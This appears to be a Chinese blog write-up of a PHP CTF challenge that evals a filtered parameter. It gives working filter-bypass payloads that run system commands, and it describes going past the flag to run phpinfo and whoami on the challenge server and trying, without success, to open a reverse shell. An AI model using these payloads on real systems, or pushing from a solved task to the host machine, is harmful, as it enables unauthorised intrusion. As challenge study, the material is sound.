极限利用之搅屎

.
.
服务器被墙了:-)
.
.

本来准备这几天有空换个ip的,结果今天发现解封了,啊哈哈哈哈哈哈哈哈哈哈哈哈哈哈!
正题,是这样的,今天在火狐上发现了一个书签链接,点开发现是一道做过的web题目,同时发现了n种新的解题方式。不得不说的是,php真香。

题解

访问地址,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include("flag.php");
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function Flag() to get flag";

其他师傅写的题解很详细,我就不废话了。我的做法是利用linux中的正则配合<?=反引号?>来执行命令。payload:
?><?=`/???/??? ./*`?>记得查看源码找flag。
前一阵看其他师傅的文章学习了一下其他的解法。首先我们要知道php允许使用中文来命名变量,我tm..。 所以利用$_GET获取其他url参数即可执行Flag()函数,得到flag。
重点来了,很明显,代码中只对code参数进行了过滤,同时我们也是利用该点获取的flag,那既然能执行Flag函数肯定可以执行其他函数。

搅屎

既然如此,我们来试一下

1
payload:?code=$¥="`{{{"^"?<>/";${$¥}[是](${$¥}[啊]());&是=system&啊=phpinfo


1
paylaod:?code=$¥="`{{{"^"?<>/";${$¥}[是](${$¥}[啊]);&是=system&啊=whoami

发现服务器上有nc

接下来弹个shell回来,弹nm的弹,老子没弹回来。。。自闭,试了几种弹shell的方式都没弹回来,算了。

参考文章

记一次拿webshell踩过的坑

身无饥寒,父母无愧于我,人无长进,我以何待父母。

文章目录
  1. 1. 题解
  2. 2. 搅屎
  3. 3. 参考文章
  • 身无饥寒,父母无愧于我,人无长进,我以何待父母。